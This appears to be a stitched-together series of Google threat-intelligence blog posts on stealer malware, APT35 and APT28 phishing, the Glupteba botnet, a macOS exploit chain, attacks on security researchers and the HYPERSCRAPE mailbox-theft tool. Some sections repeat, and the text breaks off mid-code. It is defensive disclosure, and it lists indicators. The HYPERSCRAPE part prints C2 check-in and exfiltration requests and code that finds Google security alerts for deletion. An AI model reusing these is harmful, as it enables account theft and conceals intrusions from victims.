Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.
Open source malware like Sorano and AdamantiumThief were also observed.
Related hashes are listed in the Technical Details section, at the end of this report.
Most of the observed malware was capable of stealing both user passwords and cookies.
Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.
A few were observed displaying a fake error message requiring user click-through to continue execution.
A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.
The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.
The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.
On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.
These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work:
This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.
We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.
Some of these improvements include:
It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.
Our recommendations:
Additional resources: Avoid & Report Phishing Emails.
Related Malware hashes:
Top Phishing Domains:
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.
So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.
This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.
We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.
On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
This means that there is typically more than one threat actor behind the warnings.
In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.
This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.
For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.
In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.
Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.
Users were instructed to activate an invitation to a (fake) webinar by logging in.
The phishing kit will also ask for second-factor authentication codes sent to devices.
APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.
Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.
In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.
The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.
Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.
Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.
One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.
Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.
When they did, attackers sent them phishing links in follow-on correspondence.
Targets typically had to navigate through at least one redirect before landing on a phishing domain.
Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.
We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.
Services from Dropbox and Microsoft are also abused.
One of APT35’s novel techniques involves using Telegram for operator notifications.
The attackers embed javascript into phishing pages that notify them when the page has been loaded.
To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.
The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.
We reported the bot to Telegram and they have taken action to remove it.
We warn users when we suspect a government-backed threat like APT35 is targeting them.
Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.
If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.
Workspace administrators are also notified regarding targeted accounts in their domain.
Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.
We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.
When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.
When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.
Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.
Indicators from APT28 phishing campaign:
service-reset-password-moderate-digital.rf[.
]gd
reset-service-identity-mail.42web[.
]io
digital-email-software.great-site[.
]net
Indicators from APT35 campaigns:
Abused Google Properties:
https://sites.google[.
]com/view/ty85yt8tg8-download-rtih4ithr/
https://sites.google[.
]com/view/user-id-568245/
https://sites.google[.
]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/
Abused Dropbox Properties:
https://www.dropbox[.
]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf
Phishing Domains:
nco2[.
]live
summit-files[.
]com
filetransfer[.
]club
continuetogo[.
]me
accessverification[.
]online
customers-verification-identifier[.
]site
service-activity-session[.
]online
identifier-service-review[.
]site
recovery-activity-identification[.
]site
review-session-confirmation[.
]site
recovery-service-activity[.
]site
verify-service-activity[.
]site
service-manager-notifications[.
]info
Android App:
https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection
Android App C2:
communication-shield[.
]site
cdsa[.
]xyz
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.
It was last updated on May 12, 2022.
We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.
Google TAG actively monitors threat actors and the evolution of their tactics and techniques.
We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.
As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.
We believe this action will have a significant impact on Glupteba's operations.
However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.
Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.
TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.
The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).
For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.
The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.
While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.
This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.
These services include selling access to virtual machines loaded with stolen credentials (dont[.
]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.
This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.
We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.
Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.
In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.
During this time, an additional 130 Google accounts associated with this operation were terminated.
Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.
Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.
While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.
The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.
To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.
In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:
The following 32 byte AES keys for decryption are hard coded in the binaries:
The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.
The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain.
Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:
Recent domains used for command and control:
Recent sha256 hashes of malware samples:
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.
It was last updated on February 7, 2022.
To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild.
In late August 2021, TAG discovered watering hole attacks targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.
The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.
As is our policy, we quickly reported this 0-day to the vendor (Apple) and a patch was released to protect users from these attacks.
Based on our findings, we believe this threat actor to be a well-resourced group, likely state backed, with access to their own software engineering team based on the quality of the payload code.
In this blog we analyze the technical details of the exploit chain and share IOCs to help teams defend against similar style attacks.
The websites leveraged for the attacks contained two iframes which served exploits from an attacker-controlled server—one for iOS and the other for macOS.
iOS Exploits
The iOS exploit chain used a framework based on Ironsquirrel to encrypt exploits delivered to the victim's browser.
We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari.
macOS Exploits
The macOS exploits did not use the same framework as iOS ones.
The landing page contained a simple HTML page loading two scripts—one for Capstone.js and another for the exploit chain.
The parameter rid is a global counter which records the number of exploitation attempts.
This number was in the 200s when we obtained the exploit chain.
While the javascript starting the exploit chain checks whether visitors were running macOS Mojave (10.14) or Catalina (10.15) before proceeding to run the exploits, we only observed remnants of an exploit when visiting the site with Mojave but received the full non-encrypted exploit chain when browsing the site with Catalina.
The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.
Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.
To verify this hypothesis, we ran git bisect and determined it was fixed in this commit.
Capstone.js
It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis.
The exploit authors primarily used it to search for the addresses of dlopen and dlsym in memory.
Once the embedded Mach-O is loaded, the dlopen and dlsym addresses found using Capstone.js are used to patch the Mach-O loaded in memory.
With the Capstone.js configured for X86-64 and not ARM, we can also derive the target hardware is Intel-based Macs.
Embedded Mach-O
After the WebKit RCE succeeds, an embedded Mach-O binary is loaded into memory, patched, and run.
Upon analysis, we realized this binary contained code which could escape the Safari sandbox, elevate privileges, and download a second stage from the C2.
Analyzing the Mach-O was reminiscent of a CTF reverse engineering challenge.
It had to be extracted and converted into binary from a Uint32Array.
Then the extracted binary was heavily obfuscated with a relatively tedious encoding mechanism--each string is XOR encoded with a different key.
Fully decoding the Mach-O was necessary to obtain all the strings representing the dynamically loaded functions used in the binary.
There were a lot of strings and decoding them manually would have taken a long time so we wrote a short Python script to make quick work of the obfuscation.
The script parsed the Mach-O at each section where the strings were located, then decoded the strings with their respective XOR keys, and patched the binary with the resulting strings.
Once we had all of the strings decoded, it was time to figure out what capabilities the binary had.
There was code to download a file from a C2 but we did not come across any URL strings in the Mach-O so we checked the javascript and saw there were two arguments passed when the binary is run–the url for the payload and its size.
After downloading the payload, it removes the quarantine attribute of the file to bypass Gatekeeper.
It then elevated privileges to install the payload.
N-day or 0-day?
Before further analyzing how the exploit elevated privileges, we needed to figure out if we were dealing with an N-day or a 0-day vulnerability.
An N-day is a known vulnerability with a publicly available patch.
Threat actors have used N-days shortly after a patch is released to capitalize on the patching delay of their targets.
In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.
Despite the exploit being an executable instead of shellcode, it was not a standalone binary we could run in our virtual environment.
It needed the address of dlopen and dlsym patched after the binary was loaded into memory.
These two functions are used in conjunction to dynamically load a shared object into memory and retrieve the address of a symbol from it.
They are the equivalent of LoadLibrary and GetProcAddress in Windows.
To run the exploit in our virtual environment, we decided to write a loader in Python which did the following:
For our payload, we wrote a simple bash script which runs id and pipes the result to a file in /tmp.
The result of the id command would tell us whether our script was run as a regular user or as root.
Having a loader and a payload ready, we set out to test the exploit on a fresh install of Catalina (10.15) since it was the version in which we were served the full exploit chain.
The exploit worked and ran our bash script as root.
We updated our operating system with the latest patch at the time (2021-004) and tried the exploit again.
It still worked.
We then decided to try it on Big Sur (11.4) where it crashed and gave us the following exception.
The exception indicates that Apple added generic protections in Big Sur which rendered this exploit useless.
Since Apple still supports Catalina and pushes security updates for it, we decided to take a deeper look into this exploit.
Elevating Privileges to Root
The Mach-O was calling a lot of undocumented functions as well as XPC calls to mach_msg with a MACH_SEND_SYNC_OVERRIDE flag.
This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero.
Beer was able to quickly recognize this exploit as a variant of an earlier port type confusion vulnerability he analyzed in the XNU kernel (CVE-2020-27932).
Furthermore, it seems this exact exploit was presented by Pangu Lab in a public talk at zer0con21 in April 2021 and Mobile Security Conference (MOSEC) in July 2021.
In exploiting this port type confusion vulnerability, the exploit authors were able to change the mach port type from IKOT_NAMED_ENTRY to a more privileged port type like IKOT_HOST_SECURITY allowing them to forge their own sec_token and audit_token, and IKOT_HOST_PRIV enabling them to spoof messages to kuncd.
After gaining root, the downloaded payload is loaded and run in the background on the victim's machine via launchtl.
The payload seems to be a product of extensive software engineering.
It uses a publish-subscribe model via a Data Distribution Service (DDS) framework for communicating with the C2.
It also has several components, some of which appear to be configured as modules.
For example, the payload we obtained contained a kernel module for capturing keystrokes.
There are also other functionalities built-in to the components which were not directly accessed from the binaries included in the payload but may be used by additional stages which can be downloaded onto the victim's machine.
Notable features for this backdoor include:
Our team is constantly working to secure our users and keep them safe from targeted attacks like this one.
We continue to collaborate with internal teams like Google Safe Browsing to block domains and IPs used for exploit delivery and industry partners like Apple to mitigate vulnerabilities.
We are appreciative of Apple’s quick response and patching of this critical vulnerability.
For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976).
That campaign is not connected to the one described in today’s post.
Delivery URLs
Javascript
Sandbox escape / LPE
Backdoor
C2
In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.
On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”
The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.
Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.
In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.
The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.
On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.
We have reported all identified social media profiles to the platforms to allow them to take appropriate action.
At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.
Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.
Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.
We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.
Fake Security Company Website:
LinkedIn Profiles:
Email:
Attacker Owned Domains:
Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.
We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.
In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.
They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.
Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.
While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.
On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.
In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.
Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.
After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”
The actors have been observed targeting specific security researchers by a novel social engineering method.
After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.
Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.
The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.
An example of the VS Build Event can be seen in the image below.
In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.
In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.
]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.
At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.
At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.
Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.
We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.
These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.
We are providing a list of known accounts and aliases below.
If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.
To date, we have only seen these actors targeting Windows systems as a part of this campaign.
If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.
Host IOCs
Registry Keys
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update
File Paths
C:\Windows\System32\Nwsapagent.sys
C:\Windows\System32\helpsvc.sys
C:\ProgramData\USOShared\uso.bin
C:\ProgramData\VMware\vmnat-update.bin
C:\ProgramData\VirtualBox\update.bin
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.
It was last updated on January 26, 2021.
We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.
We received leads from Facebook that supported us in this investigation.
We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.
This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).
This campaign was consistent with similar findings reported by Facebook.
We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.
This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.
This campaign was consistent with similar findings reported by Facebook.
We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.
We received leads from the FBI that supported us in this investigation.
This campaign was consistent with similar findings reported by Facebook.
We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.
This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.
We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.
We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.
This domestic campaign posted content supporting the Indonesian government.
We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.
We received leads from the FBI that supported us in this investigation.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.
This campaign was consistent with similar findings reported by Facebook.
We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.
This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.
This campaign was consistent with similar findings reported by Facebook.
We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian critical of the Ukrainian government.
We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.
The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.
We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Arabic about current events in the Middle East and North Africa.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.
This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.
The campaign targeted the Central African Republic and Mali.
This campaign was consistent with similar findings reported by Facebook.
We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.
We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.
A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S. We received leads from Graphika and Fireye that supported us in this investigation.
These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.
It was last updated on May 12, 2022.
We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.
Google TAG actively monitors threat actors and the evolution of their tactics and techniques.
We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.
As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.
We believe this action will have a significant impact on Glupteba's operations.
However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.
Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.
TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.
The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).
For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.
The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.
While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.
This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.
These services include selling access to virtual machines loaded with stolen credentials (dont[.
]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.
This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.
We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.
Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.
In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.
During this time, an additional 130 Google accounts associated with this operation were terminated.
Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.
Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.
While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.
The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.
To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.
In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:
The following 32 byte AES keys for decryption are hard coded in the binaries:
The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.
The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain.
Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:
Recent domains used for command and control:
Recent sha256 hashes of malware samples:
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.
It was last updated on February 7, 2022.
As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.
For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.
Now, we’re shining light on a new tool of theirs.
In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.
The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.
We have seen it deployed against fewer than two dozen accounts located in Iran.
The oldest known sample is from 2020, and the tool is still under active development.
We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.
This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.
HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.
Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.
HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.
It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.
Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.
After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.
Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.
The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.
We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo!
and Microsoft accounts.
HYPERSCRAPE won't run unless in a directory with other file dependencies.
When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.
In the version tested, the C2 was unobfuscated and stored as a hardcoded string.
In later versions it was obfuscated with Base64.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
Connection: Keep-Alive
The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.
A new form is displayed if the information is not provided via command prompt.
Once provided, the data in the "Identity" field is sent to a C2 for confirmation.
Again, the response is expected to be "OK".
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.
After parsing, the cookies are inserted into a local cache used by the embedded web browser.
A new folder named "Download" is created adjacent to the main binary.
The browser then navigates to Gmail to begin the data collection.
The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.
If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.
Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.
The language is returned to its original setting when the run is finished.
HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.
It does the following for each email found:
The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.
A log file is written containing a count of the emails that were downloaded.
When finished, a HTTP POST request is made to the C2 to relay the status and system information.
The downloaded emails are not sent to the C2.
POST http://{C2}/?Key={GUID}&Crc={Identifier}
{
"appName": "Gmail Downloader",
"targetname": "{Email}",
"HostName": "REDACTED",
"srcUserIP": "REDACTED",
"actionType": "First",
"timeOccurrence": "05/01/2022 05:50:31 PM",
"OS": "REDACTED",
"OSVersion": "REDACTED",
"SystemModel": "REDACTED",
"SystemType": "REDACTED",
"srcName": "REDACTED",
"srcOrgName": "REDACTED"
}
The program will delete any security emails from Google generated by the attacker’s activity.
private bool IsThereAnyEMail() {
List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.
Document.
GetElementsByTagName("span")
where x.TextContent.
StartsWith ("Security alert") || x.TextContent.
StartsWith("Archive of Google data requested") || x.TextContent.
StartsWith("Your Google data archive is ready") || x.TextContent.
